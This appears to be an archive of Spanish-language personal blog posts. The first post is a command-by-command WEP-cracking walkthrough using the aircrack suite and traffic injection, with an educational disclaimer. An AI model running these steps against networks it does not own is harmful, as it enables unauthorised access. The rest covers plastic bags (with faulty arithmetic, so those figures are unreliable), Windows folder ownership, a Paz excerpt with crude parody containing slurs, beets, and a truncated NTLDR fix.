Nota: Esto es para fines de investigación, aprendizaje, y verificación de seguridad. No debe usarse para vulnerar redes de otras personas. Atacar y vulnerar redes (u otros recursos) es malo, e ilegal.

Aqui pongo un "how to" en http://foro.seguridadwireless.net/index.php?topic=3227.0 que se uso como base.

A continuación, les explico los pasos a seguir para romper WEP.
Necesitamos una distribución de linux que podemos encontrar en http://www.comprawifi.net/public/wifiway/0.6/wifiway-0.6.iso. Bajamos la imagen del CD, y la quemamos.

Iniciamos la máquina con WifiWay (debe estar configurada para permitir iniciar desde CD/DVD).

Una vez iniciada, iniciamos el entorno gráfico mediante el comando:

startx

Ingresamos el canal en el que está el AP (Access Point) en la placa de red.

echo 'CANAL_DE_CAPTURA' > /sys/class/net/wifi0/device/channel

Obtenemos el BSSID, el canal, y el ESSID.

airodump-ng rtap0

Cerramos la ejecución con CONTROL-C, y utilizamos configuramos el BSSID (un número hexadecimal de 6 posiciones) en la placa de red.

echo 'BSSID_DEL_ACCESS_POINT' > /sys/class/net/wifi0/device/bssid

Una vez hecho esto, iniciamos la captura.

airodump-ng -c CANAL_DE_CAPTURA -w ARCHIVO_CAPTURA rtap0

Abrimos otra ventana y configuramos la velocidad a 2 mbps:

echo '2' > /sys/class/net/wifi0/device/rate

Subimos la placa de red.

ifconfig wifi0 up

Averiguamos la MAC address, son los 12 primeros numeros de HWaddr

ifconfig

Iniciamos una asociación con el AP.

aireplay-ng -1 0 -a BSSID_DEL_ACCESS_POINT -h MAC_ADDRESS_WIFI -e ESSID_DEL_ACCESSPOINT wifi0

Abrimos otra consola y ponemos para inyectar tráfico.

aireplay-ng -3 -b BSSID_DEL_ACCESS_POINT -e ESSID_DEL_ACCESSPOINT -h MAC_ADDRESS_WIFI wifi0

Esto debería aumentar los #data en la ventana de captura (pasa un momento antes que empiece a aumentar).
Cuando tengamos mas de 100.000 podemos extraer la clave ejecutando:

aircrack-ptw ARCHIVO_CAPTURA.cap

Esto debería encontrar la clave de red en formato hexadecimal.

Nota: En todos los comandos anteriores, wordpress convierte automáticamente las comillas a comillas formateadas. Por favor usar comillas simples.

Basado en el manual de =Tuxero=

Espero que esto haya sido de utilidad y nuevamente tomado de una forma EDUCACIONAL.



=ZeroProject=

Donde quedo la otra mitad del Medio Ambiente?

Pendejeando en la red encontré unos datos en los que nunca me había puesto a pensar: Las Bolsas de plastico.
¿Cuantas bolsas de plástico se usarán en un día? y peor aun ¿Que tan grande será el impacto ecológico que estas tienen?

Pues esta es la triste historia de una bolsa de plástico que nos regalan en el Supermercado y tienditas de la esquina.

Las bolsas de plástico fueron introducidas en los años 70 en supermercados, pero como son baratas y pueden ser utilizadas como propaganda barata rapidamente se extendio hasta el changarrito de la esquina. Las bolsas de plástico pueden estar hechas de polietileno de baja densidad, polietileno lineal, polietileno de alta densidad o de polipropileno, polímeros de plástico no biodegradable, con espesor variable entre 18 y 30 micrómetros. Anualmente; circulan en todo el mundo entre 500 mil millones y 1 billón de estos objetos.


Se calcula que cerca de un 90% de las bolsas de plástico acaban su vida en vertederos, o como basura. Este número puede parecer preocupante pero en realidad estos objetos ocupan sólo un 0,3% del volumen acumulado en los vertederos. Aún así, dada su extrema ligereza, si no estuvieran bien acondicionadas las bolsas de plástico tienen la tendencia de volar y esparcirse por el medio ambiente. Esta situación puede provocar otros tipos de contaminación, que por ejemplo en China ganó el nombre de contaminación blanca. En la mayor parte de los países la forma más practica y economica de disponer la basura, sin que se disperse, se moje, entre en contacto con insectos o roedores, etc. es precisamente usando bolsas de plástico.

El mayor volumen de desechos plasticos son envases rigidos como las botellas de agua o leche. Casi todas las bolsas de plástico no acondicionadas en vertederos acaban, a corto o largo plazo, por llegar a los ríos y a los océanos. Los ecologistas llaman la atención desde hace varios años sobre este problema y citan el hecho de que cientos de ballenas, delfines, tortugas y aves marinas mueren anualmente asfixiadas por bolsas de plástico. El caso más dramático ocurrió en 2002, dice la leyenda urbana que cuando una ballena enana llegó a la costa de Normandía con cerca de 800 kg de bolsas de plástico en su estómago.

Sabias que menos del 1% de las bolsas plasticas se recicla! es mucho mas costoso reciclar una bolsa que producir una!

Pero si no se recicla, a donde va?



En 1975 (ya hace algún tiempo) se demostró que las embarcaciones transoceánicas arrojaban en conjunto 8 millones de libras de plástico al mar cada año. La razón por la cual los basureros del mundo no estaban inundados de plástico era porque su mayoría terminaba en el océano.

Por que si no son tratadas adecuadamente, las bolsas vuelan... y lamentablemente a distintos puntos de nuestro planeta.

Pero también en el mar ocasionan mucho daño!
Se han encontrado bolsas plasticas flotando al norte del circulo artico, cerca de Spitzbergen e incluso mucho mas al sur cerca de las islas Malvinas.

Las bolsas plasticas representan un poco mas del 10% de la basura que llega a las costas!
En tierra las bolsas plasticas se fotodegradan!! con el pasar del tiempo se descomponen en Petro-Polimeros mas pequeños y toxicos! Que finalmente contaminaran la tierra y los rios Fluviales…..

Como conecuencia pequeñas particulas pueden ser confundida por comida para ciertos animales que al comersela se atragantan y se ahogan con las bolsas!



El elevado número de bolsas producidas por año (cerca de 150 por persona al año) y la naturaleza no biodegradable del plástico con que son producidas. Además de eso, la manufactura del polietileno se hace a partir de combustibles fósiles e implica la emisión de gases contaminantes. Cabe anotar también que producir y transportar bolsas de papel es aun más contaminante en terminos de uso de arboles, la energía utilizada para transformar la celulosa y la pasta de papel, los productos químicos usados a escalas industriales y el volumen que representa una misma cantidad de bolsas de papel frente a las de plástico.


Y como podemos evitar esto?
Pues muy simple! llevando tu propia bolsa de tela, haciendo esto te puedes ahorrar aproximadamente hasta 6 bolsas a la semana!

Es decir, 25 bolsas al mes!
Osea 288 al año!
Osea 22176 Bolsas en una vida promedio!!

Si solamente 1 persona de 5 en nuestro país hiciera esto, ahorraríamos aproximadamente 1,330,560,000,000 bolsas durante una vida promedio!

Bangladesh se ha prohibido el uso de las bolsas plásticas y China prohibio las bolsas plasticas “gratuitas” Irlanda, fue el primero en poner impuestos sobre las bolsas y con esto redujo el consumo en un 80%.

Cuando alguien descubra un material con más ventajas respecto a su bajo costo, impermeabilidad, facilidad de producción, resistencia en bajos espesores, inerte a los alimentos y mayor procesabilidad, estaremos frente al fin de las bolsas de plástico.

Acceder a carpetas con mensaje "Acceso denegado" en Windows XP

No se si alguna vez les ha pasado que cuando tienen 2 Windows XP en una sola máquina no pueden acceder a los documentos del otro sistema si la sesión tiene contraseña y pa joder mas, dice que la carpeta pesa 0 bites. Ps aquí les dejo como acceder a esas carpetas.

No estoy seguro si algún virus pueda denegar el acceso a carpetas, y si éste método funcione en tal caso. Pero el propósito de ésta entrada es permitirle al usuario recuperar sus archivos en caso de que algún error del sistema o daño causado por algun tipo de malware haya provocado que ya no pueda ingresar en su cuenta original.

Nota: Para poder acceder a la carpetas debemos tener acceso a una cuenta con privilegios de administrador.

Una vez que ingresamos a Windows, abrimos el explorador de Windows y nos vamos a Herramientas - Opciones de carpeta - Ver y deshabilitamos la opción Utilizar uso compartido simple de archivos, la cual se encuentra hasta el final de las opciones listadas.



Ahora, nos ubicamos la carpeta a la cual queremos ingresar, damos click derecho sobre ésta y seleccionamos propiedades.



Esto nos mostrará una nueva ventana, dentro de la cual seleccionaremos la pestaña Propietario, y dentro de ésta pestaña seleccionaremos el usuario de la sesión que en ese momento estamos utilizando. Y además habilitaremos la casilla Reemplazar propietario en subcontenedores y objetos.



Damos click en Aceptar, y se nos mostrará una ventana, la cual nos dice que todos los permisos serán reemplazados si presionamos Si. Y efectivamente, eso es lo que queremos, así que damos click sobre Si.

Con esto debe ser posible acceder a las carpetas.

Alguna duda Escribir a: zero_zaver@hotmail.com con el titulo de Acceso denegado.

Fuente: http://lestathijackthis.wordpress.com

Coto Cumple 23

Fotos de mi cumple #23.

"La Chingada", ¿Cultura de México?

Como buenos mexicanos, con nuestra lengua floklorica, tenemos una expresión muy popular, que la usamos como verbo o adjetivo y a todos niveles, pues es una muestra de el color y cultura de nuestro querido pais, el pues "La Chingada"

Algunas personas marcan a esta palabra como muestra de vulgaridad de nuestra lengua mexicana y de cierta forma lo es, pensando en vulgaridad como procedente del vulgo y en ese contexto de pueblo, "La chingada" es una palabra apoteósica de nuestro México vivo, ya que es el resultado de un proceso social, historico y cultural.

Para exponer de una mejor manera el origen y uso de "La Chingada" dejo aqui un fragmento de "Los hijos de la Malinche" del señor Octavio Paz, incluido en el libro "El laberinto de la soledad".

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LOS HIJOS DE LA MALINCHE

EN NUESTRO lenguaje diario hay un grupo de palabras prohibidas, secretas, sin contenido claro, y a cuya mágica ambigüedad confiamos la expresión de las más brutales o sutiles de nuestras emociones y reacciones. Palabras malditas, que sólo pronunciamos en voz alta cuando no somos dueños de nosotros mismos. Confusamente reflejan nuestra intimidad: las explosiones de nuestra vitalidad las iluminan y las depresiones de nuestro ánimo las oscurecen. Lenguaje sagrado, como el de los niños, la poesía y las sectas. Cada letra y cada sílaba están animadas de una vida doble, al mismo tiempo luminosa y oscura, que nos revela y oculta. Palabras que no dicen nada y dicen todo. Los adolescentes, cuando quieren presumir de hombres, las pronuncian con voz ronca. Las repiten las señoras, ya para significar su libertad de espíritu, ya para mostrar la verdad de sus sentimientos. Pues estas palabras son definitivas, categóricas, a pesar de su ambigüedad y de la facilidad con que varía su significado. Son las malas palabras, único lenguaje vivo en un mundo de vocablos anémicos. La poesía al alcance de todos.

Cada país tiene la suya. En la nuestra, en sus breves y desgarradas, agresivas, chispeantes sílabas, parecidas a la momentánea luz que arroja el cuchillo cuando se le descarga contra un cuerpo opaco y duro, se condensan todos nuestros apetitos, nuestras iras, nuestros entusiasmos y los anhelos que pelean en nuestro fondo, inexpresados. Esa palabra es nuestro santo y seña. Por ella y en ella nos reconocemos entre extraños y a ella acudimos cada vez que aflora a nuestros labios la condición de nuestro ser. Conocerla, usarla, arrojándola al aire como un juguete vistoso o haciéndola vibrar como un arma afilada, es una manera de afirmar nuestra mexicanidad.

Toda la angustiosa tensión que nos habita se expresa en una frase que nos viene a la boca cuando la cólera, la alegría o el entusiasmo nos llevan a exaltar nuestra condición de mexicanos: Viva México, hijos de la Chingada! Verdadero grito de guerra, cargado de una electricidad particular, esta frase es un reto[ y una afirmación, un disparo, dirigido contra un enemigo imaginario, y una explosión en el aire. Nuevamente, con cierta patética y plástica fatalidad, se presenta la imagen del cohete que sube al cielo, se dispersa en chispas y cae oscuramente. O la del aullido en que terminan nuestras canciones, y que posee la misma ambigua resonancia: alegría rencorosa, desgarrada afirmación que se abre el pecho y se consume a si misma.

Con ese grito, que es de rigor gritar cada 15 de septiembre, aniversario de la Independencia, nos afirmamos y afirmamos a nuestra patria, frente, contra y a pesar de los demás. ¿ Y quiénes son los demás? Los demás son los "hijos de la chingada": los extranjeros, los malos mexicanos, nuestros enemigos, nuestros rivales. En todo caso, los "otros". Esto es, todos aquellos que no son lo que nosotros somos. Y esos otros no se definen sino en cuanto hijos de una madre tan indeterminada y vaga como ellos mismos.

¿Quién es la Chingada? Ante todo, es la Madre. No una Madre de carne y hueso, sino una figura mítica. La Chingada es una de las representaciones mexicanas de la Maternidad, como la Llorona o la "sufrida madre mexicana" que festejamos el diez de mayo. La Chingada es la madre que ha sufrido, metafórica o realmente, la acción corrosiva e infamante implícita en el verbo que le da nombre. Vale la pena detenerse en el significado de esta voz.

En la Anarquía del lenguaje en la América Española, Darío Rubio examina el origen de esta palabra y enumera las significaciones que le prestan casi todos los pueblos hispanoamericanos. Es probable su procedencia azteca: chingaste es xinachtli (semilla de hortaliza) o xinaxtli (aguamiel fermentado). La voz y sus derivados se usan, en casi toda América y en algunas regiones de España, asociados a las bebidas alcohólicas o no: chingaste son los residuos o heces que quedan en el vaso, en Guatemala y El Salvador; en Oaxaca llaman chingaditos a los restos del café; en todo México se llama chínguere -o, significativamente, piquete- al alcohol; en Chile, Perú y Ecuador la chingana es la taberna; en España chingar equivale a beber mucho, a embriagarse; y en Cuba, un chinguirito, es un trago de alcohol.

Chingar también implica la idea de fracaso. En Chile y Argentina se chinga un petardo, "cuando no revienta, se frustra o sale fallido". Y las empresas que fracasan, las fiestas que se aguan, las acciones que no llegan a su término, se chingan. En Colombia, chingarse es llevarse un chasco. En el Plata un vestido desgarrado es un vestido chingado. En casi todas partes chingarse es salir burlado, fracasar. Chingar, asimismo, se emplea en algunas partes de Sudamérica como sinónimo de molestar, zaherir, burlar. Es un verbo agresivo, como puede verse por todas estas significaciones: descolar a los animales, incitar o hurgar a los gallos, chungucu, chasquear, perjudicar, echar a perder, frustrar.

En México los significados de la palabra son innumerables. Es una voz mágica. Basta un cambio de tono, una inflexión apenas, para que el sentido varíe. Hay tantos matices como entonaciones: tantos significados como sentimientos. Se puede ser un chingón, un Gran Chingón (en los negocios, en la política, en el crimen, con las mujeres), un chingaquedito. (silencioso, disimulado, urdiendo tramas en la sombra, avanzando cauto para dar el mazazo), un chingoncito. Pero la pluralidad de significaciones no impide que la idea de agresión--en todos sus grados, desde el simple de incomodar, picar, zaherir, hasta el de violar, desgarrar y matar--se presente siempre como significado último. El verbo denota violencia, salir de si mismo y penetrar por la fuerza en otro. Y también, herir, rasgar, violar -cuerpos, almas, objetos-, destruir. Cuando algo se rompe, decimos: "se chinga". Cuando alguien ejecuta un acto desmesurado y contra las reglas, comentamos: "hizo una chingadera".

La idea de romper y de abrir reaparece en casi todas las expresiones. La voz está teñida de sexualidad, pero no es sinónimo del acto sexual; se puede chingar a una mujer sin poseerla. Y cuando se alude al acto sexual, la violación o el engaño le prestan un matiz particular. El que chinga jamás lo hace con el consentimiento de la chingada. En suma, chingar es hacer

violencia sobre otro. Es un verbo masculino, activo, cruel: pica, hiere, desgarra, mancha. Y provoca una amarga, resentida satisfacción en el que lo ejecuta.

Lo chingado es lo pasivo, lo inerte y abierto, por oposición a lo que chinga, que es activo, agresivo y cerrado. El chingón es el macho, el que abre. La chingada, la hembra, la pasividad pura, inerme ante el exterior. La relación entre ambos es violenta, determinada por el poder cínico del primero y la impotencia de la otra. La idea de violación rige oscuramente todos los significados. La dialéctica de lo cerrado y Io abierto se cumple así con precisión casi feroz.

El poder mágico de la palabra se intensifica por su carácter prohibido. Nadie la dice en público. Solamente un exceso de cólera, una emoción o el entusiasmo delirante, justifican su expresión franca. Es una voz que sólo se oye entre hombres, o en las grandes fíestas. Al gritarla, rompemos un velo de pudor, de silencio o de hipocresía. Nos manifestamos tales como somos de verdad. Las malas palabras hierven en nuestro interior, como hierven nuestros sentimientos. Cuando salen, lo hacen brusca, brutalmente, en forma de alarido, de reto, de ofensa. Son proyectiles o cuchillos. Desgarran.

...

La palabra chingar, con todas estas múltiples significaciones, define gran parte de nuestra vida y califica nuestras relaciones con el resto de nuestros amigos y compatriotas, Para el mexicano la vida es una posibilidad de chingar o de ser chingado. Es decir, de humillar, castigar y ofender. O a la inversa. Esta concepción de la vida social como combate engendra fatalmente la división de la sociedad en fuertes y débiles. Los fuertes, los chingones sin escrúpulos, duros e inexorables se rodean de fidelidades ardientes e interesadas. El servilismo ante los poderosos -especialmente entre la casta de los "políticos", esto es, de los profesionales de los negocios públicos- es una de las deplorables consecuencias de esta situación. Otra, no menos degradante, es la adhesión a las personas y no a los principios. Con frecuencia nuestros políticos confunden los negocios públicos con los privados. No importa. Su riqueza o su influencia en la administración les permite sostener una mesnada que el pueblo llama, muy atinadamente, de "lambiscones" (de lamer).

El verbo chingar -maligno, ágil y juguetón como un animal de presa- engendra muchas expresiones que hacen de nuestro mundo una selva: hay tigres en los negocios, águilas en las escuelas o en los presidios, leones con los amigos. El soborno se llama "morder". Los burócratas roen sus huesos (los empleos públicos). Y en un mundo de chingones, de relaciones duras, presididas por la violencia y el recelo, en el que nadie se abre ni se raja y todos quieren chingar, las ideas y el trabajo cuentan poco. Lo único que vale es la hombría, el valor personal, capaz de imponerse.

La voz tiene además otro significado, más restringido. Cuando decimos "vete a la Chingada" enviamos a nuestro interlocutor a un espacio lejano, vago e indeterminado. Al país de las cosas rotas, gastadas. País gris, que no está en ninguna parte, inmenso y vacío. Y no sólo por simple asociación fonética lo comparamos a la China, que es también inmensa y remota. La Chingada, a fuerza de uso, de significaciones contrarias y del roce de labios coléricos o entusiasmados, acaba por gastarse, agotar sus contenidos y desaparecer. Es una palabra hueca. No quiere decir nada. Es la Nada.

Después de esta digresión sí se puede contestar a la pregunta ¿qué es la Chingada? La Chingada es la Madre abierta, violada o burlada por la fuerza. El "hijo de la Chingada" es el engedro de la violación, del rapto o de la burla. Si se compara esta expresión con la española, "hijo de puta" se advierte inmediatarnente la diferencia. Para el español la deshonra consiste en ser hijo de una mujer que voluntariamente se entrega, una prostituta; para el mexicano, es ser fruto de una violación.

... No es un secreto para nadie que el catolicísmo mexicano se concentra en el culto a la Virgen

de Guadalupe. En primer término: se trata de una Virgen india; enseguida: el lugar de su aparición (ante el indio Juan Diego) es una colina que fue antes santuario dedicado a Tonantzín, "nuestra madre" diosa de la fertilidad entre los aztecas. Como es sabido, la Conquista coincide con el apogeo del culto a dos divinidades masculinas: Quetzalcóatl, el dios del autosacrificio (crea el mundo, según el mito, arrojándose a la hoguera, en Teotihuacán) y Huitzilopochtli, el joven dios guerrero que sacrifica. La derrota de estos dioses -pues eso fue la Conquista para el mundo indio: el fin de un ciclo cósmico y la instauración de un nuevo reinado divino- produjo entre los fieles una suerte de regreso hacia las antiguas divinidades femeninas. Este fenómeno de vuelta a la entraña materna, bien conocido de los psicólogos, es sin duda una de las causas determinantes de la rápida popularidad del culto a la Virgen. Ahora bien, las deidades indias eran diosas de fecundidad, ligadas a los ritmos cósmicos, los procesos de vegetación y los ritos agrarios. La Virgen católica es también una Madre (Guadalupe-Tonantzin la llaman aún algunos peregrinos indios) pero su atributo principal no es velar por la fertilidad de la tierra sino ser el refugio de los desamparados. La situación ha cambiado: no se trata ya de asegurar las cosechas sino de encontrar un regazo. La Virgen es el consuelo de los pobres, el escudo de los débiles, el amparo de los oprimidos. En suma, es la Madre de los huérfanos. Todos los hombres nacimos desheredados y nuestra condición verdadera es la orfandad, pero esto es particularmente cierto para los indios y los pobres de México. El culto a la Virgen no sólo refleja la condición general de los hombres sino una situación histórica concreta, tanto en lo espiritual como en lo material. Y hay más: Madre universal, la Virgen es también la intermediaria, la mensajera entre el hombre desheredado y el poder desconocido, sin rostro: el Extraño.

Por contraposición a Guadalupe, que es la Madre virgen, la Chingada es la Madre violada. Ni en ella ni en la Virgen se encuentran rastros de los atributos negros de la Gran Diosa: lascivia de Amaterasu y Afrodita, crueldad de Artemisa y Astarté, magia funesta de Circe, amor por la sangre de Kali. Se trata de figuras pasivas. Guadalupe es la receptividad pura y los beneficios que produce son del mismo orden: consuela, serena, aquieta, enjuga las lágrimas, calma las pasiones. La Chingada es aún más pasiva. Su pasividad es abyecta: no ofrece resistencia a la violencia, es un montón inerte de sangre, huesos y polvo. Su mancha es constitucional y reside, según se ha dicho más arriba en su sexo. Esta pasividad abierta al exterior la lleva a perder su identidad: es la Chingada. Pierde su nombre, no es nadie ya, se confunde con la nada, es la Nada. Y sin embargo, es la atroz encarnación de la condición femenina.

Si la Chingada es una representación de la Madre violada, no me parece forzado asociarla a la Conquista, que fue también una violación,, no solamente en el sentido histórico, sino en la carne misma de las indias. El símbolo de la entrega es doña Malinche, la amante de Cortés. Es verdad que ella se da voluntariamente al Conquistador, pero éste, apenas deja de serle útil, la olvida, Doña Marina se ha convertido en una figura que representa a las indias, fascinadas, violadas o seducidas por 103 españoles. Y del, mismo modo que el niño no perdona a su madre que lo abandone para ir en busca de su padre, el pueblo mexicano no perdona su traición a la Malinche. Ella encarna lo abierto, lo chingado, frente a nuestros indios, estoicos, impasibles y cerrados. Cuauhtémoc y doña Marina son así dos símbolos antagónicos y complementarios. Y si no es sorprendente el culto que todos profesamos al joven emperador -"único héroe a la altura del arte", imagen del hijo sacrificado-, tampoco es extraña la maldición que pesa contra la Malinche. De ahí el éxito del adjetivo despectivo "malinchista", recientemente puesto en circulación por los periódicos para denunciar a todos los contagiados por tendencias extranjerizantes. Los malinchistas son los partidarios de que México se abra al exterior: los verdaderos hijos de la Malinche, que es la Chingada en persona. De nuevo aparece lo cerrado por oposición a lo abierto.

Nuestro grito es una expresión de la voluntad mexicana de vivir cerrados al exterior, sí, pero sobre todo, cerrados frente al pasado. En este grito condenamos nuestro origen y renegamos de nuestro hibridismo. La extraña permanencia de Cortés y de la Malinche en la imaginación y en la sensibilidad de los mexicanos actuales revela que son algo más que figuras históricas: son símbolos de un conflicto secreto, que aún no hemos resuelto. Al repudiar a la Malinche -Eva mexicana, según la representa José Clemente Orozco en su mural de la Escuela Nacional Preparatoria- el mexicano rompe sus ligas con el pasado, reniega de su origen y se adentra solo en la vida histórica.

El mexicano condena en bloque toda su tradición, que es un conjunto de gestos, actitudes y tendencias en el que ya es difícil distinguir lo español de lo indio. Por eso la tesis hispanista, que nos hace descender de Cortés con exclusión de la Malinche, es el patrimonio de unos cuantos extravagantes -que ni siquiera son blancos puros-. Y otro tanto se puede decir de la propaganda indigenista, que también está sostenida por criollos y mestizos maniáticos, sin que jamás los indios le hayan- prestado atención. El mexicano no quiere ser ni indio, ni español. Tampoco quiere descender de ellos. Los niega. Y no se afirma en tanto que mestizo, sino como abstracción: es un hombre. Se vuelve hijo de la nada. Él empieza en si mismo.

...

El mexicano y la mexicanidad se definen como ruptura y negación. Y, asimismo, como búsqueda, como voluntad por trascender ese estado de exilio. En suma, como viva conciencia de la soledad, histórica y personal. La historia, que no nos podía decir nada sobre la naturaleza de nuestros sentimientos y de nuestros conflictos, sí nos puede mostrar ahora cómo se realizó la ruptura y cuáles han sido nuestras tentativas para trascender la soledad.


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Pero a todo esto.... Donde queda La Chingada?



Nadie sabía exactamente donde está por que no aparece en el Google Earth pero a todos nos han mandado, o hemos enviado a alguien alli. Pero, ¿donde queda? Pues La Chingada es un ranchito que esta en la carretera hacia San Juan de Los Lagos, en el estado de Jalisco. Asi que, para la proxima ya sabes a donde dirigirte o a donde mandaras a esas personas despreciables.

A todo esto, "La Chingada" es una palabra que nos marca como buenos mexicanos, marca la vivasidad y el color de nuestro pueblo y a la cual tambien se le ha podido inventar un contexto.

Historia

En el principio Dios creó a Adán y George, pero un día se pelearon las locas, entonces Dios no tuvo más remedio que mandar a George a la chingada y crear a Eva, así pues, Dios tuvo que crear La Chingada y George residió ahí el resto de su vida conviviendo con dinosaurios con los que vivio felizmente hasta que dos dias después lo devoraron.

Mucho tiempo después empezaron a mandar gente a la chingada, la primer mujer llegó ahí se embarazó por tener amistades cercanas con un burro y de ellas nacieron muchos hijos, sobre todo políticos. Fue entonces que la población fue creciendo de hijos de "La Chingada" (como se le bautizó por que sabrá la chingada como se llamaba) hasta ser el inmenso poblado de nuestros días, llena de plantones, manifestaciones del Peje y sin ley alguna.

Epoca prehispánica

Durante esta época los extraterrestres vinieron a experimentar con la gente, se les enseño a hacer cerveza a base de agua y orina, a usar bicicletas pero sobre todo, se les enseñó a jugar fútbol. A cambio de eso se dejaron hacer experimentos como exposición extrema a Reality shows como La Nacademia o Chambeando por Un Peso, sus mujeres fueron usadas para el amplio estudio del ser humano femenino

Guerras Púbicas

Durante este periodo volaron pelos pues Satanás junto con los diablos rojos del Toluca (Que eran sexomaniaco-depresivos y sadomasoquistas) intentaron destruir el pueblo, investigaciones recientes sobre la "guerra de los pelos" arrojaron que la tercera parte de los hombres de este pintoresco pueblo fueron deleitados torturados por los diablos poniendo algodones encendidos en sus traseros... pero en eso llegó Cyberjesús, a evitar su destrucción lo cual ocurrió, el pueblo valió verga, pero lo que quedó fue salvado por el Chapulín Colorado quien junto al Santo derrotó 4 a 0 a las fuerzas del mal, por ahora todo tenía un futuro incierto.

Actualidad

Mucho tiempo después La Chingada tuvo gran crecimiento a nivel social y económico desde que "La vaca Chenta" fuera presidente muncipal, pues hubo infraestructura, taquerías y hasta un "Teibol Dans" donde los hombres gastaban lo que sus mujeres le dejaban de la quincena, y de lo que algunas de ellas ganaban bailando ahí.

Población

Hay una gran diversidad en cuanto a población se refiere, por ejemplo hay gran cantidad de animales de granja como los caballos, las vacas y las chivas que de hecho son la mayoría de la población. Tambien hay seres humanos, desde campesinos, obreros, mujeres de la vida galante, y muchos borrachitos y una gran cantidad de americanistas, perredistas, priistas y panistas, incluido el jorobado puto de Cuauhtémoc Blanco, ultimamente han llegado cientos de gente repugnante llamada Chinolas

La minoría humana del lugar la componen mexicanos, franceses, chinos, una que otro morenaza y un chingo de gringos que han nacido ahí, por eso se les llama " gringo hijo de la chingada".

Costumbres

Como no hay televisión ahí tienen que entretenerse con cosas como ferias locales, fabricar armas de destrucción + IVA ver quien logra hacer el chorro de meados más lejos (puntos extra si es con espuma), jugar dominó, quemar policías y los jóvenes se la pasan haciendo juegos manuales (puñetas) como principal actividad grupal y recreativa.

Por ultimo, debo hacer saber que el Gobierno tambien esta presente ayudando a los Chingados.

INFONAVIT hace entrega de 30 casas a los ciudadanos de La Chingada
16 de Junio 2008 - La Chingada, Mexico.

En precencia de la actual presidenta, Rosa Meleño, el INFONAVIT (Instituto para el Faje Necrofílico A Viejesitas e Incestivos Tomadores) hace entrega de las 30 casas rifadas en el Primer Magno Sorteo del Suertudo Cabrón.

Para la entrega de las casas se realizo un desfile alrededor del Lago Zarás, que consistia en botes temáticos, siendo el mas popular el de un bote disfrazado de... bote. También hubo otros botes, como el homenaje a la vaca Chenta, el multimillonario yate de Bill Gates y la lanchita atunera de alguien.

El conductor de televisión, José Ramón Fernández (Recientemente mandado a La Chingada por Tachidito) se encargó de la entrega de las casas a los felices ganadores, que consisten en 12 gringos, 5 chilangos, 7 cabras y 6 vacas. "Como odio al América" declaro José Ramón Fernández cuando se le preguntó que se sentia ayudar a los chingados (oriundos de La Chingada).

Un felíz ganador declaró: "Quiero agradecer al INFONAVIT por esta casita, que me va a servir para venderla y tener cervezas para tres meses. ¡Gracias INFONAVIT!"

Y asi es como se vive en La Chingada, así que para la proxima vez que alguien los mande a La Chingada ya estaran preparados.

Comenten y den click a los anuncioa o se van a la chingada.

===ZeroProject===

El Betabel y sus propiedades curativas =0

Me acuerdo cuando era niño, amis hermanos y a mi, mi papá nos hacía tomar jugo de betabel todas las mañanas y rara vez nos enfermabamos. Pues como no tenía nada que hacer me puse a buscar para que madres sirve y ps me encontre esto:

El betabel tiene la reputación de poseer poderes curativos contra el dolor de cabeza y otros dolores, también algunos naturistas lo recomiendan para estimular el sistema inmunológico y prevenir el cáncer, sin embargo no hay pruebas científicas que demuestren que tiene beneficios medicinales especiales. El betabel posee hojas comestibles en su parte superior, las cuales contienen beta carotenos, calcio y hierro; éstas pueden cocerse de igual manera que las espinacas. En las civilizaciones antiguas sólo se comían las hojas, y la raíz se usaba como medicamento para tratar dolores de cabeza y dolores de muelas.

En la actualidad, por lo general sólo se come la raíz del betabel: cruda, cocida, encurtida o enlatada. El betabel es uno de los vegetales con mayor contenido de azúcar y cada 100 gramos de betabel poseen el equivalente a una cucharadita de azúcar. El betabel es pariente de la remolacha azucarera ( la que antes sólo se usaba para alimentar a los animales y ahora se cultiva para obtener sacarosa).

Lo curioso del betabel es que el producto procesado conserva casi la misma textura y sabor que el producto fresco. El vinagre confiere al betabel un sabor más fuerte. El betabel ligeramente hervido es una buena fuente de nutrimentos, si no es que mejor que el producto crudo. Contiene mayor cantidad de minerales, incluyendo potasio ( el que regula el ritmo cardiaco y mantiene normales la presión arterial y el sistema nervioso). El nivel de la mayoría de las vitaminas se mantiene igual, incluyendo la vitamina C, y solamente hay una pequeña pérdida de folato.

Algunas personas consumen el betabel crudo, rallado, en ensaladas, pero la mayoría prefiere cocerlo. Si cuece el betabel sin pelarlo, evitará que escurra el pigmento rojo que contiene--llamado betacianina-- y que se manchen los utensilios de cocina. La betacianina se extrae del betabel para crear un colorante llamado rojo de betabel. Se usa en la industria de procesamiento de alimentos para añadir color a cualquier cosa, desde una sopa hasta un helado o desde una hamburguesa hasta un licor.

¿Orina color de rosa?

No hay motivo de preocupación si, después de comer betabel, la orina o las heces adquieren una coloración rosa. Los padres que alimentan a sus hijos con papilla de betabel suelen preocuparse porque los pañales se manchan de rosa. Esto sólo indica que hay una incapacidad heredada genéticamente para metabolizar la betacianina. Este producto inofensivo, el pigmento rojo, simplemente pasa a través del sistema digestivo sin sufrir cambios.

Ventajas del betabel

Además de las propiedades anticancerosas que se cree que posee, el betabel es rico en potasio, contiene vitamina C, además de calcio y hierro, también es una buena fuente de folato: una vitamina esencial para mantener sanas las células (su deficiencia está relacionada con la anemia).

A quienes no les gusta el sabor del betabel les parecerá buena idea diluirlo en jugo de zanahoria... Usted consúmalo como quiera, pero no deje de hacerlo, aunque sea de vez en cuando.

Informacion tomada de http://www.alimentacion-sana.com.ar/

Error: NTLDR Missing

Ps despues de mucho tiempo se me ocurrio actualizar mi blog. Y desde ahora voy o poner cosas mas importantes, no solo pendejadas.
Bueno, ps hoy les voy a poner como reparar su PC o Lap cuando al prenderla les sale el puto mensaje de: ERROR: Falta NTLDR (ERROR: NTLDR Missing) o una madre asi.

Para empesar ese archivo solo se pierde por 4 razones:
1.-El ususario adicto a la limpieza y organizacion se le ocurrio que eran virus (sin primero ver que madres son) y los borra.
2.-Un virus que los borre.
3.-El Disco Duro (al que me referiré posteriormente como HD por hueva) ya esta jodido ao a punto de morir.
y finalmente y muy dificilmente que sea eso:
4.-Error de configuracion de bios por algun pico de voltaje.

Se recomienda contar con el disco de Herramientas "Hiren's Boot CD" que pueden descargar de :

http://rapidshare.com/files/38192012/Hiren_s_BootCD_9.1.zip.html

Nota: es un ISO, si no saben como quemar un iso, busquenle xD.

Pues aqui va:

"El Manual Antipendejos para reparar el NTLDR"

Este problema puede ser causado por varios factores, que van desde que el usuario borre los archivos por error, hasta un error en el bios.
Aqui explicaremos las diferentes situaciones y sus respectivas soluciones

Borrado por error de usuario o virus

